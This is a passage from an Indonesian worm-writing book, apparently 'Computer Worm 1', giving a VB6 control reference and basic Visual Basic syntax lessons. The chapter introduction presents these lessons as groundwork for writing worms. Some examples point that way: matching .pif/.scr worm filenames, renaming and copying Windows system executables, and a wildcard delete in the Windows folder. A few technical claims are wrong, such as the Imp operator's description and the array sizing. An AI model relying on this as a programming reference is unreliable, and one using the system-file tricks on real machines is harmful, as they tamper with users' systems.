Enabled Jika bernilai true, mengijinkan HScrollBar untuk merespon event mouse dan keyboard. Jika bernilai false, HScrollBar akan menolak event tersebut
Height Tinggi HScrollBar
LargeChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat area bar di klik
Max Mengatur nilai terbesar pada properti Value, jangkauan terbesar adalah 32,767
Min Mengatur nilai terkecil pada properti Value, jangkauan terkecil antara -32,768
SmallChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada HScrollBar saat panah scroll di klik
Width Lebar HScrollBar.
64Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada HScrollBar
Scroll User melakukan penggulungan dengan mengklik area bar atau panah scroll.
5.2.11 VSCROLLBARControl VScrollBar atau vertical scrollbar adalah control masukan yang digunakan sebagai input atau indikator kuantitas dalam bentuk verti-kal. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama VScrollBar, biasanya diberi prefix vsb
Enabled Jika bernilai true, mengijinkan VScrollBar untuk mere-spon event mouse dan keyboard. Jika bernilai false, VScrollBar akan menolak event tersebut
Height Tinggi VScrollBar
LargeChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat area bar di klik
Max Mengatur nilai terbesar pada properti Value, jangkauan terbesarnya adalah 32,767
Min Mengatur nilai terkecil pada properti Value, jangkauan terkecilnya adalah -32,768
SmallChange Mengatur besarnya perubahan yang ditambah atau dikurangkan dengan properti Value pada VScrollBar saat panah scroll di klik
Width Lebar VScrollBar.
65Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada VScrollBar
Scroll User melakukan penggulungan dengan mengklik area bar atau panah scroll.
5.2.12 TIMERControl Timer adalah control yang digunakan untuk event yang tidak memerlukan interaksi user dan berjalan dengan sendirinya. Di bawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama Timer, biasanya diberi prefix tmr
Enabled Jika bernilai true, mengijinkan Timer untuk merespon event yang terjadi. Jika bernilai false, Timer akan meno-lak event tersebut
Interval Mengatur jarak waktu / jeda dalam milliseconds (seperseribu detik) antara waktu panggil dengan diek-sekusinya event yang ditentukan. Misalnya suatu Timer memiliki Interval sebesar 500 milliseconds (0.5 second), ini sama saja artinya Timer tersebut akan mengeksekusi procedure didalamnya sebanyak 2 kali dalam 1 detik.
karena Timer tidak memerlukan interaksi user, maka hanya memiliki satu event yang terjadi pada saat run-time yaitu:
EVENT SAAT TERJADI
Timer Perubahan waktu, atau pada saat tertentu yang telah ditetapkan.
66Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
5.2.13 DRIVELISTBOXControl DriveListBox mengijinkan user untuk memilih suatu drive pada saat run-time. Control ini menampilkan daftar drive yang terse-dia di dalam sebuah ComboBox. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama DriveListBox, biasanya diberi prefix drv
BackColor Warna latar belakang DriveListBox
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada DriveListBox
Height Tinggi DriveListBox
Width Lebar DriveListBox.
Di bawah ini contoh beberapa event yang biasanya dimanfaatkan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada DriveListBox
GotFocus DriveListBox mendapat fokus
LostFocus Sesaat sebelum fokus berpindah dari DriveListBox.
5.2.14 DIRLISTBOXControl DirListBox atau directory list box, menampilkan daftar di-rektori aktif di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama DirListBox, biasanya diberi prefix dir
BackColor Warna latar belakang DirListBox
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada DirListBox
Height Tinggi DirListBox
Width Lebar DirListBox.
67Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Change Terjadi perubahan pada DirListBox
Click User mengklik pada DirListBox
GotFocus DirListBox mendapat fokus
LostFocus Sesaat sebelum fokus berpindah dari DirListBox.
5.2.15 FILELISTBOXControl FileListBox menampilkan daftar file di dalam sebuah ListBox. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama FileListBox, biasanya diberi prefix fil
Archive Jika false, maka tidak menampilkan file yang ber-atribut Archive
BackColor Warna latar belakang FileListBox
Font Mengatur jenis, model dan ukuran huruf
ForeColor Mengatur warna teks pada FileListBox
Height Tinggi FileListBox
Hidden Jika true, maka menampilkan file yang beratribut Hidden (Hidden file adalah file yang diatur agar tidak terlihat oleh user)
MultiSelect Mengatur cara pemilihan, yang memungkinkan untuk memilih lebih dari satu file
Pattern Mengatur pola file yang akan ditampilkan pada FileList-Box, misalnya *.exe, ini berarti hanya akan menampilkan file yang berekstensi exe saja.
ReadOnly Jika false, maka tidak menampilkan file yang beratribut Read only
System Jika false, maka tidak menampilkan file yang beratribut System
Width Lebar FileListBox
68Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
Di bawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Click User mengklik pada FileListBox
DblClick User melakukan double click pada FileListBox
GotFocus FileListBox mendapat fokus
LostFocus Sesaat sebelum fokus berpindah dari FileListBox.
5.2.16 SHAPEDengan control Shape kita bisa membuat lingkaran (circles), bujur telur (ovals), segi empat (square), persegi panjang (rectangles), segi empat siku bulat (rounded square) dan persegi panjang siku bulat (rounded rectangles). Dibawah ini beberapa contoh properti yang biasanya di-gunakan:
PROPERTI KETERANGAN
(Name) Nama Shape, biasanya diberi prefix shp
BackColor Warna latar belakang Shape jika properti BackStyle adalah opaque
BorderColor Mengatur warna garis tepi pada Shape
BorderStyle Mengatur jenis garis yang digunakan
BorderWidth Mengatur ketebalan garis
FillColor Mengatur warna isi dari Shape
FillStyle Mengatur cara pengisian warna pada Shape, bisa berupa garis horizontal, vertical, cross atau solid.
Height Tinggi Shape
Shape Mengatur bentuk Shape, bisa berupa circles, ovals, square, rectangles, rounded square dan rounded rectangles
Width Lebar Shape.
69Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
Untuk Shape tidak ada event yang bisa dimanfaatkan, karena Shape dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.
5.2.17 LINEDengan control Line kita bisa membuat gambar garis. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama Line, biasanya diberi prefix lin
BorderColor Mengatur warna garis
BorderStyle Mengatur jenis garis yang digunakan
BorderWidth Mengatur ketebalan garis
Untuk Line tidak ada event yang bisa dimanfaatkan, karena Line dibuat tidak bertujuan untuk melakukan event tertentu tetapi hanya untuk kepentingan interface saja.
5.2.18 IMAGEDengan control Image kita bisa menempatkan object gambar pada form. Dibawah ini beberapa contoh properti yang biasanya digunakan untuk control Image:
PROPERTI KETERANGAN
(Name) Nama Image, biasanya diberi prefix img
Height Tinggi Image
Picture Mengatur object gambar pada bidang Image
Stretch Jika bernilai true, maka object gambar akan menye-suaikan dengan ukuran control Image
Width Lebar Image.
70Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 5. O
bject Form dan C
ontrol
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Click User mengklik pada bidang Image
DblClick User melakukan double click pada bidang Image.
5.2.19 DATAControl Data dimanfaatkan pada saat pembuatan aplikasi database. Control ini memudahkan untuk berpindah dari satu data record ke data record lainnya. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama control Data, biasanya diberi prefix dat
Allign Mengatur posisi control Data pada form
BackColor Mengatur warna latar pada control Data
Caption Mengatur teks yang ditampilkan pada control Data
Connect Mengatur jenis sumber data yang digunakan
DatabaseName Menentukan file data yang digunakan
Height Tinggi control Data
RecordSource Menentukan data yang digunakan pada tabel sumber
Width Lebar control Data.
Dibawah ini adalah contoh event yang biasanya dimanfaatkan:
EVENT SAAT TERJADI
Validate Saat validasi suatu record terjadi
71Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
5. O
bjec
t For
m d
an C
ontro
l
5.2.20 OLEControl OLE dimanfaatkan untuk memasukan third party object sep-erti aplikasi MS Word, Paint, Calendar dan lain sebagainya. Dibawah ini beberapa contoh properti yang biasanya digunakan:
PROPERTI KETERANGAN
(Name) Nama control OLE, biasanya diberi prefix ole
AutoActivate Mengatur cara control OLE diaktifkan
BackColor Mengatur warna latar pada control OLE
BorderStyle Mengatur jenis garis tepi pada control OLE
Class Mengatur Class yang digunakan
Height Tinggi control OLE
SizeMode Mengatur model ukuran pada control OLE
Width Lebar control OLE.
Dibawah ini adalah beberapa contoh event yang biasanya dimanfaat-kan:
EVENT SAAT TERJADI
Click User mengklik pada control OLE
DblClick User melakukan double click pada control OLE
GotFocus Control OLE mendapat fokus
LostFocus Sesaat sebelum fokus berpindah dari control OLE
Updated Data berubah, diperbarui
73Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
BAB 6KODE PROGRAM
Kenapa bab ini ada?
Sebagian besar worm komputer di masa lalu dibuat dengan bahasa pemrograman assembly yang merupakan bahasa pemrograman tingkat rendah dan cukup sulit untuk digunakan. Namun kini, para worm writer lebih memilih menggunakan bahasa pemrograman tingkat tinggi dan tool yang lebih maju, mengingat optimisasi yang dilakukan cenderung bersifat mengaburkan logika dari kode yang ditulis dalam bahasa tingkat tinggi tersebut. Sehingga tingkat kompleksitas program yang dihasilkan dapat mempersulit para peneliti untuk melakukan proses unassembly dan analisa.
Melanjutkan bab sebelumya maka bab ini akan memuat teknik penulisan pada salah satu bahasa pemrograman tingkat tinggi tersebut, yaitu bahasa Visual Basic.
74Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
Kode program adalah instruksi-instruksi yang ditulis oleh programmer dengan bahasa pemrograman tertentu, yang memerintahkan aplikasi untuk melakukan tugas tertentu
pula. Bahasa yang digunakan pada Visual Basic umumnya hampir sama dengan bahasa pemrograman basic lainnya (basic, turbo basic, qbasic).
Dengan Visual Basic, pemrograman tidak dilakukan hanya dengan menulis kode saja tetapi sudah menggunakan pendekatan visual untuk merancang user interface-nya. Pada Visual Basic, kode-kode pemrograman biasanya diletakkan pada object-object sebagai berikut:
1. Object Form, kode ini akan dijalankan apabila Form tersebut di-load.
2. Control, control bisa memiliki penugasan sendiri yang disebut dengan event procedure. Setiap control tersebut bisa memiliki event procedure lebih dari satu, dan setiap event procedure yang dibuat bisa membuat aksi yang berbeda.
3. Standard Module, adalah object yang terpisah dari form. Standard Module berisi kode-kode program yang bersifat global yang dapat dipanggil oleh object apa saja.
6.1 VARIABELVariabel digunakan pada Visual Basic untuk menyimpan informasi yang diperlukan oleh aplikasi. Untuk memberi nama variabel, harus memiliki syarat sebagai berikut:
1. Tidak lebih dari 40 karakter2. Berupa huruf, angka dan underscore3. Karakter pertama berupa huruf4. Tidak menggunakan kata yang termasuk kode program (kata yang
termasuk perintah atau function dalam bahasa Visual Basic).
Variabel dalam Visual Basic memiliki beberapa tipe, pemilihan tipe variabel yang sesuai akan sangat berpengaruh terhadap pemakaian resources oleh program aplikasi yang dibuat.
75Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
Untuk menghindari kesalahan yang diakibatkan kekeliruan pada pem-buatan variabel, biasanya variabel dideklarasikan. Berikut cara untuk mendeklarasikan variabel:
6.1.1 IMPLICITImplicit, untuk membuat deklarasi implicit, gunakan sufix (akhiran) yang berhubungan dengan tipe data pada tabel berikut:
Tipe Data Jangkauan Ukuran Sufix
Boolean True (benar) atau False (salah) 2 bytes
Integer -32768 s/d 32767 2 bytes %
Long (Integer) -2147483.648 s/d 2147483647 4 bytes &
Single (Floating) Negatif: -3.402823E38 s/d -1.401298E-45
Positif: 1.401298E-45 s/d 3.402823E38
4 bytes !
Double (Floating) Negatif: -1.79769313486232E308 s/d -4.94065645841247E-324
Positif: 4.94065645841247E-324 s/d 1.79769313486232E308
8 bytes #
Currency -922337203685477.5808 s/d 922337203685477.5807
8 bytes @
Date 1 Januari 100 s/d 31 Desember 9999
8 bytes
Object Referensi Object 4 bytes
String 0 s/d 2 Milyar Karakter (95/97 & NT) dan 0 s/d sekitar 65535 karakter (versi 3.1)
1 bytes p e r karakter
$
Variant Null,Error, dan seluruh tipe data lain misalnya boolean, numerik, string, object, array.
16 byte + 1 byte p e r karater
Byte 0 s/d 255 1 byte
76Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
Contoh pe nggunaan variabel string dalam code program :
Kalimat$="ini string gitu loh"
Sedangkan berikut adalah contoh penggunaan variabel integer :
Jumlah% = 300
6.1.2 EXPLICITuntuk membuat deklarasi explicit, yang pertama dilakukan adalah menentukan batasan-batasannya. Ada empat jenis tingkatan yang digunakan, yaitu:
A. Procedure level Pada tingkatan ini, variabel tidak akan berlaku lagi saat procedure
berakhir.
Dim MyInt as Integer Dim MyDouble as Double Dim MyString, YourString as String
B. Procedure level, static Untuk membuat variabel tetap berlaku walaupun procedure telah
berakhir, bisa dilakukan dengan mengganti pernyataan "Dim" men-jadi kata "Static":
Static MyInt as Integer Static MyDouble as Double Static MyString, YourString as String
Dengan menempatkan pernyataan Static didepan nama procedure maka seluruh variabel dalam procedure itu bersifat static walaupun dideklarasikan oleh pernyataan Dim, contoh:
Static Sub Command1_Click() Dim MyInt as Integer 'bla… bla… End Sub
77Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
C. Form (module) level Variabel yang menggunakan form (module) level akan berlaku
untuk seluruh procedure yang ada pada form (module) tersebut. Variabel dengan tingkatan form (module) terdeklarasi dengan pendeklarasian general object di jendela kode form (module), juga menggunakan kata "Dim":
Dim MyInt as Integer Dim MyDate as Date
D. Global level Variabel yang menggunakan Global level akan berlaku untuk
seluruh procedure yang ada pada aplikasi tersebut, Tingkatan module variabel dideklarasi dengan pendeklarasian general object di jendela kode module (sebaiknya menampung variabel global di dalam sebuah module), menggunakan pernyataan "Global":
Global MyInt as Integer Global MyDate as Date
6.2 STATEMENTS AND EXPRESSIONSPernyataan (statement) yang paling sederhana adalah pernyataan penugasan. Terdiri dari nama variabel dan diikuti dengan operator (=), dan diikuti beberapa ungkapan (expression). Contoh:
Saldo=Debet–KreditHarga_Jual=Harga_Beli+(Harga_Beli*10%)Explorer.Caption="Gue Lagi Iseng"
Jika pernyataan yang dibuat terlalu panjang, bisa dilanjutkan ke baris berikutnya dengan menggunakan karakter penghubung underscore ( _ ). Contoh:
Months=Log(Final*IntRate/Deposit+1) _/Log(1+IntRate)
78Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
Pernyataan komentar dimulai dengan pernyataan "Rem" atau single quote ('), contoh:
Rem Haiiii ini cuma komentar 'Nah ini gak bakal diakses programh = b / 2 'cara lain memberi komentar
6.3 OPERATOROperator adalah hal yang sangat penting dalam menulis kode sebuah program. Adapun operator yang digunakan pada Visual Basic 6.0 adalah:
6.3.1 OPERATOR PENUGASAN (ASSIGNMENT)Operator penugasan disimbolkan dengan tanda sama dengan (=) yang berfungsi untuk memasukkan data ke suatu variabel. penulisannya adalah <Variabel> = <ekspresi>
contoh:
Start=NowBilangan=0Harga=500Jumlah=Banyak*Harga
6.3.2 OPERATOR ARITMATIKAOperator aritmatika adalah operator paling sederhana dalam proses perhitungan. Operator-operator tersebut dalam urutan yang diutama-kan perhitungannya (prioritas rumus yang akan dijalankan seandainya rumus ditulis dalam satu baris tanpa tanda kurung) adalah:
79Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
Operator Keterangan
^ Pangkat
* / Perkalian dan pembagian
\ Pembagian bulat
Mod Sisa bagi
+ - Pertambahan dan pengurangan
Tanda kurung pada ungkapan dapat mengubah pengutamaan perhi-tungan. Contoh:
X=2+3*4 'Akan menghasilkan 14Y=(2+3)*4 'Akan menghasilkan 20 Z=(2+3)*(4–2) 'Akan menghasilkan 10
Untuk menggabung dua string atau lebih, bisa menggunakan simbol '&’ atau '+’, contoh:
Label1.caption="Nama saya" & "Komeng"
Akan menghasilkan "Nama sayaKomeng"
Label1.caption="Nama saya " & "Komeng"
Akan menghasilkan "Nama saya Komeng"
Label1.caption="Nama saya " + "Komeng"
Akan menghasilkan "Nama saya Komeng"
6.3.3 OPERATOR KOMPARASIOperator ini digunakan untuk melakukan perbandingan. Adapun operator-operator tersebut adalah:
80Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
Operator Keterangan
= Sama dengan
<> Tidak sama dengan
< Lebih kecil dari
> Lebih besar dari
<= Lebih kecil atau sama dengan
>= Lebih besar atau sama dengan
Like Pencocokan pola
Is Sama referensi object
Hasil suatu operasi komparasi adalah suatu nilai boolean berupa true (benar) atau false (salah). Contoh :
1=4–2 'menghasilkan false2-1<>4-2 'menghasilkan truex="wrm.pif" like "*.pif" 'menghasilkan truex="wrm.scr" like "wr?.*" 'menghasilkan true
6.3.4 OPERATOR LOGIKAOperator logika mengikuti operator aritmatika dalam pengutamaan perhitungan. Adapun operator-operator tersebut adalah:
Operator Keterangan
Not Logika bukan
And Logika dan
Or Logika atau
Xor Exclusive Or
Eqv Ekivalen
Imp Implikasi
1. Operator Not akan menghasilkan nilai true jika ungkapannya me-mang salah.
81Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
2. Operator And akan menghasilkan nilai true jika semua ungkapan benar, dan akan menghasilkan false, jika salah satu ungkapan salah atau semua ungkapan salah.
3. Operator Or akan menghasilkan nilai true jika salah satu ungkapan benar, dan akan menghasilkan false jika semua ungkapan salah.
4. Operator Xor akan menghasilkan nilai true jika satu ungkapan salah dan satu ungkapan lain benar, dan akan menghasilkan nilai false apabila semua ungkapan benar atau semua ungkapan salah.
5. Operator Eqv adalah kebalikan dari operator Xor, akan menghasil-kan nilai true jika kedua ungkapan sama-sama benar atau sama-sama salah, dan akan menghasilkan false jika satu ungkapan salah dan satu ungkapan lain benar.
6. Operator Imp akan menghasilkan nilai true jika ungkapan pertama benar dan ungkapan kedua salah, selain kondisi tersebut akan menghasilkan false.
6.4 PERCABANGAN (BRANCHING)Statement bercabang digunakan untuk melakukan suatu tindakan di dalam suatu program berdasarkan kondisi tertentu.
6.4.1 PERCABANGAN IF/THEN/ELSEDigunakan untuk menjalankan satu blok perintah yang nilainya tergan-tung pada kondisi yang diuji. Penulisannya adalah sebagai berikut:
If <conditions> then
[statements and expressions]
Else
[statements and expressions]
End If
82Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
Atau kita bisa menambahkan statement ElseIf, sehingga menjadi:
If <conditions> then
[statements and expressions]
ElseIf <conditions> then
[statements and expressions]
Else
[statements and expressions]
End If
6.4.2 PERCABANGAN SELECT CASESebagai tambahan terhadap percabangan If/Then/Else, format select case biasanya digunakan apabila ada kemungkinan percabangan yang lebih banyak. Penulisannya adalah sebagai berikut:
Select Case <conditions>
[Case <ekspresi-1>
[statements and expressions]
[Case <ekspresi-2>
[statements and expressions]
[Case <ekspresi-n>
[statements and expressions]
[Case Else
[Case <ekspresi-1>
[statements and expressions]
End Select
83Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
6.4.3 PERCABANGAN GOSUB/RETURNDigunakan untuk mencabang(melompat) ke suatu sub-rutin yang ditandai dengan baris label atau baris nomor. Setelah mengakses baris referensi akan kembali mengakses statement dan expression dibaris setelahnya. Penulisannya adalah sebagai berikut:
GoSub <line>
[statements and expressions]
<line>
[statements and expressions]
Return
Line/branch atau baris referensi yang dituju bisa berupa baris label teks yang diakhiri titik dua, bisa juga berupa baris nomor dan harus berada pada procedure yang sama. Perhatikan contoh berikut ini:
Sub Form_activate()Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang "&Num Exit Sub 'menjadikan akhir dari subCabang: Num = Year(Now)-Num ReturnEnd Sub
6.4.4 PERCABANGAN GOTOTeknik percabangan ini biasanya digunakan untuk run-time error trapping, Setelah mengakses baris referensi tidak akan mengakses statement dan expression dibaris setelahnya.
Penulisannya adalah sebagai berikut:
84Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
GoTo <line>
[statements and expressions]
<line>
[statements and expressions]
Return
Sebagai contoh:
Sub Form_activate()Dim Num As single Num=InputBox("Ketik Tahun Lahir Anda") GoSub Cabang Msgbox "Usia Anda Sekarang " & Num GoTo Akhir 'melompati sub CabangCabang: Num = Year(Now)-Num ReturnAkhir:End Sub
6.4.5 PERCABANGAN ON ERRORPercabangan ini dilakukan untuk menangani kesalahan yang terjadi pada saat run-time. Ada beberapa bentuk dalam penulisannya:1. On Error Resume Next Apabila terjadi kesalahan, maka mengacuhkan kesalahan tersebut
untuk kemudian mengakses baris setelahnya.2. On Error Goto <line> Apabila terjadi kesalahan, maka akan mengakses baris referensi
pada procedure yang sama.3. On Error Goto 0 Menyebabkan perangkap kesalahan yang sebelumnya dipasang
menjadi tidak aktif (membatalkan penanganan kesalahan).
85Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
6.5 PENGULANGAN (LOOPING)Looping dilakukan dengan format Do/Loop. Loop digunakan untuk operasi yang akan diulang beberapa kali. Loop akan mengulang sampai suatu kondisi yang telah ditentukan di awal atau di akhir memenuhi persyaratan. Ada beberapa bentuk dalam penulisannya:
6.5.1 DO WHILE/LOOPContoh dibawah ini akan melakukan perulangan yang berlangsung selama (while) variabel Counter lebih kecil atau sama dengan 500. Sementara statement Debug.Print akan menampilkan perhitungan tersebut pada jendela Debug.
Counter = 1Do While Counter <= 500 Debug.Print Counter Counter = Counter + 1Loop
6.5.2 DO UNTIL/LOOPContoh dibawah ini akan melakukan perulangan sampai (until) varia-bel Counter melebihi 500.
Counter = 1Do Until Counter > 500 Debug.Print Counter Counter = Counter + 1Loop
6.5.3 DO/LOOP WHILEContoh dibawah ini akan melakukan perulangan selama variabel Counter kurang dari atau sama dengan 500.
Counter = 1Do Debug.Print Counter Counter = Counter + 1Loop While Counter <= 500
86Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
6.5.4 DO/LOOP UNTILContoh dibawah ini akan melakukan perulangan sampai variabel Counter lebih besar dari 500.
Counter = 1Do Debug.Print Counter Counter = Counter + 1Loop Until Counter > 500
6.5.5 FOR/NEXTTeknik perulangan ini digunakan untuk melakukan pengulangan suatu blok program sebanyak yang telah ditentukan pada nilai awal dan nilai akhir. Bentuk penulisannya:
For <counter> = <awal> to <akhir> [step<step>]
[statements and expressions]
[Exit For]
[statements and expressions]
Next [<counter>]
Pada contoh berikut, variabel Y diawali dengan nilai 1 dan masing-masing perulangan ditambah dengan 20 step (langkah). Perulangan ini terus berlanjut sampai variabel Y menjadi lebih besar atau sama dengan 500. Jika step tidak dimasukan maka nilai default-nya adalah 1.
For Y = 1 to 500 Step 20 A = Y * 2 Debug.Print ANext I
Perulangan bisa dihentikan dengan statement Exit For, yang akan langsung mengakses baris setelahnya.
87Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
6.6 PENGHENTIAN (TERMINATING)Pengakhiran total, pengakhiran sebagian dan pengakhiran sementara bisa dilakukan dengan beberapa cara:
6.6.1 ENDDigunakan untuk memaksa program berhenti dari suatu procedure atau pernyataan program. Beberapa bentuk pernyataan End, adalah sebagai berikut:
1. End, digunakan untuk mengakhiri aplikasi, menutup semua form yang terbuka dan bisa diletakkan dimana saja
2. End If, digunakan untuk mengakhiri blok pernyataan If/Then/Else
3. End With, digunakan untuk mengakhiri blok pernyataan With4. End Select, digunakan untuk mengakhiri blok pernyataan Select
Case5. End Type, digunakan untuk mengakhiri struktur Type6. End Property, digunakan untuk mengakhiri Property7. End Sub, digunakan untuk mengakhiri Sub8. End Function, digunakan untuk mengakhiri Function.
6.6.2 EXITDigunakan untuk mengakhiri suatu blok pernyataan program. Be-berapa bentuk pernyataan Exit, adalah sebagai berikut:
1. Exit Do, digunakan untuk keluar dari perintah do/loop dan control program di bawah perintah Loop.
2. Exit For, digunakan untuk keluar dari perintah For/Next dan con-trol program ke bawah perintah Next.
3. Exit Function, digunakan untuk keluar dari badan function yang dipanggil dan control program kebawah baris pemanggil.
88Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
4. Exit Property, digunakan untuk keluar dari badan procedure Property yang sedang tampil dan control program ke bawah baris pemanggil procedure Property tersebut.
5. Exit Sub, digunakan untuk keluar dari badan procedure Sub yang sedang tampil dan control program ke bawah baris pemanggil procedure Sub tersebut.
6.6.3 STOPUntuk menghentikan sementara pelaksanaan program. Pernyatan Stop tidak menutup program yang dibuka dan tidak menghapus nilai variabel, sehingga pernyataan bisa dilanjutkan kembali.
6.7 ARRAYArray adalah kumpulan variabel serupa, dimana masing-masing variabel memiliki nama dan jenis yang sama. Array umumnya memi-liki index, elemen pertama memiliki nomor index 0 (nol). Array bisa dideklarasikan dengan dua cara, sebagai variabel tunggal dan dengan menggunakan pernyataan To.
6.7.1 DEKLARASI DENGAN VARIABEL TUNGGALUntuk mendeklarasikan suatu array dengan variabel tunggal, bisa menggunakan sintaksis berikut:
Dim | Public | Private ArrayName (Subscript) As_ DataType
1. Dim, public dan private, adalah statement yang mendeklarasikan array dan cakupannya. Penggunaan Dim hanya akan berlaku pada procedure yang sama, sedangkan Public akan membuat array berlaku untuk keseluruhan program, sementara Private (dengan sesi General pada form, atau module) akan membuat array berlaku untuk form itu saja atau module itu saja
89Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
2. ArrayName, adalah nama dari array3. Subscript, adalah jumlah elemen pada array. Karena index pertama
pada array adalah 0 (nol), maka apabila suatu Subscript adalah 5, index pada elemen terakhir adalah 4 (elemen0, elemen1, elemen2, elemen3, elemen4)
4. As, adalah keyword pada Visual Basic untuk menandakan suatu deklarasi jenis
5. DataType, adalah jenis data yang berlaku pada Visual Basic, seperti String, Integer atau Double.
Contoh dibawah akan mendeklarasikan array dengan jenis data String dan dengan lima elemen didalamnya.
Dim nama (5) as stringnama(0)= "kangen"nama(1)= "mistery"nama(2)= "puisi cinta"nama(3)= "kenangan"nama(4)= "my heart"
6.7.2 DEKLARASI DENGAN KEYWORD TOArray juga bisa dideklarasikan menggunakan keyword To, dengan sedikit perubahan sintaksis pada bagian Subscribe. Contoh di bawah ini akan mendeklarasikan array dengan jenis data Integer dan dengan lima elemen didalamnya.
Dim telp(1 to 5) As Integertelp(1)=55241telp(2)=33937telp(3)=10248telp(4)=97824telp(5)=35346
90Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
6.8 PENANGANAN FILESebagai suatu bahasa pemrograman, Visual Basic memiliki perintah-perintah dasar yang mewakili suatu tindakan tertentu. Berikut adalah beberapa perintah dasar yang berkaitan dengan penanganan file dan direktori.
6.8.1 MENGUBAH NAMA DAN MEMINDAH FILEUntuk mengubah nama atau memindah suatu file ke lokasi berbeda dapat menggunakan sintaksis berikut:
Name [source] As [destination]
• source, menentukan path dan file yang akan di- diubah atau dipin-dah
• destination, menentukan path atau nama untuk file yang akan di-ubah atau dipindah.
Contoh, untuk mengubah nama file: "c:\windows\calc.exe" menjadi file: "c:\windows\kalkulator.exe" dapat menggunakan perintah beri-kut ini:
Name "c:\windows\calc.exe" As "c:\windows\kalkulator.exe"
Untuk memindah file: "c:\windows\calc.exe" ke lokasi "c:\windows\system\calc.exe" dapat menggunakan perintah berikut ini:
Name "c:\windows\calc.exe" As "c:\windows\sy stem\calc.exe"
91Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Bab
6. K
ode
Pro
gram
6.8.2 MEMBUAT SALINAN / MENG-COPY FILEUntuk membuat salinan atau meng-copy suatu file dapat menggunakan sintaksis berikut:
FileCopy [source], [destination]
• source : menentukan path dan nama file sumber yang akan di-copy
• destination : menentukan path dan nama untuk file hasil dari proses. Adapun file tujuan bisa menggunakan nama file yang berbeda dengan file aslinya.
Contoh, untuk meng-copy file: "c:\windows\notepad.exe" ke direktori "c:\windows\system" dapat menggunakan sintaksis berikut ini:
FileCopy "c:\windows\notepad.exe", "c:\windo ws\system\notepad.exe"
6.8.3 MENGHAPUS FILEUntuk menghapus suatu file dapat menggunakan sintaksis berikut ini:
Kill [filename]
• filename : menentukan path dan file yang akan di hapus.
Contoh, untuk menghapus seluruh file yang berekstensi "bak" (dengan menggunakan wildcards) pada direktori "c:\windows" dapat meng-gunakan sintaksis berikut ini:
Kill "c:\windows\*.bak"
92Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Bab 6. K
ode program
